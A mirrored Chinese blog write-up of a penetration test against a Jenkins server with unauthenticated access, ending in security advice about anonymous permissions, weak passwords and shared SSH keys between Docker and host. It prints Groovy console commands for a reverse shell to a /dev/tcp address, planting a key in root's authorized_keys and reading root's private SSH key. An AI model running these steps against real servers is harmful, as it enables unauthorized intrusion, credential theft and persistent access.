zoukankan      html  css  js  c++  java
  • 利用Jenkins未授权获取服务器权限--Docker还来干扰--一次渗透的经历

    Jenkins获取权限的过程



    Jenkins存在未授权访问漏洞


    Jenkins存在未授权访问漏洞,且项目具有读取权限,通过项目的日志获取到一个账号密码,尝试登录成功,打开控制台成功。

    执行命令尝试反弹shell


    在对话框中尝试反弹shell,本地NC监听中,发行不行,尝试ping回来,发现网络不通,随即希望正想shell

    println 'bash -i >& /dev/tcp/192.168.100.2/4444 0>&1'.execute().text
    

    尝试正向shell


    尝试绑定shell

    首先确定系统有的命令和账号权限

    println 'id'.execute().text
    println 'whoami'.execute().text
    println 'ls -l /usr/bin/'.execute().text
    

    发现root权限,curl和wget都有,git也有(jenkins肯定有),尝试互联网访问是否可达

    println 'curl -v https://www.baidu.com'.execute().text
    

    开始下载正向绑定shell的脚本运行失败。

    尝试上传自己的公钥

    随即传上去自己的公钥,尝试ssh登录失败

    println 'echo 公钥内容 >> /root/.ssh/authroized_keys'.execute().text
    

    本地主机登录ssh失败

    ssh -i 私钥 a.b.c.d
    

    查看.ssh目录发现已有的私钥

    经过大牛指点,继续尝试搜索主机

    println 'ls /root/.ssh/'.execute().text
    println 'cat /root/.ssh/id_rsa'.execute().text()
    

    保存在本地私钥,尝试登录成功

    ssh -i id_rsa a.b.c.d
    

    Docker的干扰



    登上去之后查看失败原因:

    原来服务是Docker起的,我绑定的正向shell监听的端口也好,上传的自己的公钥也好都在docker里,而我尝试登录的是宿主机,所以一直有问题,而最后的成功,也是因为docker和宿主机使用了同一套公私钥

    安全建议



    • 1、不要配置Jenkinis匿名登录(未登录状态)有任何权限包括读取权限也不行;

    • 2、不要使用弱口令;

    • 3、docker打包时候检查,宿主机环境也要检查,不使用没有key的秘钥,公私钥不要存放在一起,docker和宿主机不要使用同一套公私钥;

  • 相关阅读:
    获取窗口句柄的几个办法
    我做的第一个网站
    学生信息管理系统
    程序题
    java冒泡排序
    模拟售票窗口,用4个线程模拟4个窗口在售票,共有8张票,用线程同步来实现
    设计4个线程,其中两个线程每次对j增加1,另外两个线程对j每次减少1,写出程序。
    windows server 2012将计算机、回收站、文档等图标添加到桌面
    Javascript金额转化
    eclipse 每次切换工作空间都要重新配置
  • 原文地址:https://www.cnblogs.com/KevinGeorge/p/9469270.html
Copyright © 2011-2022 走看看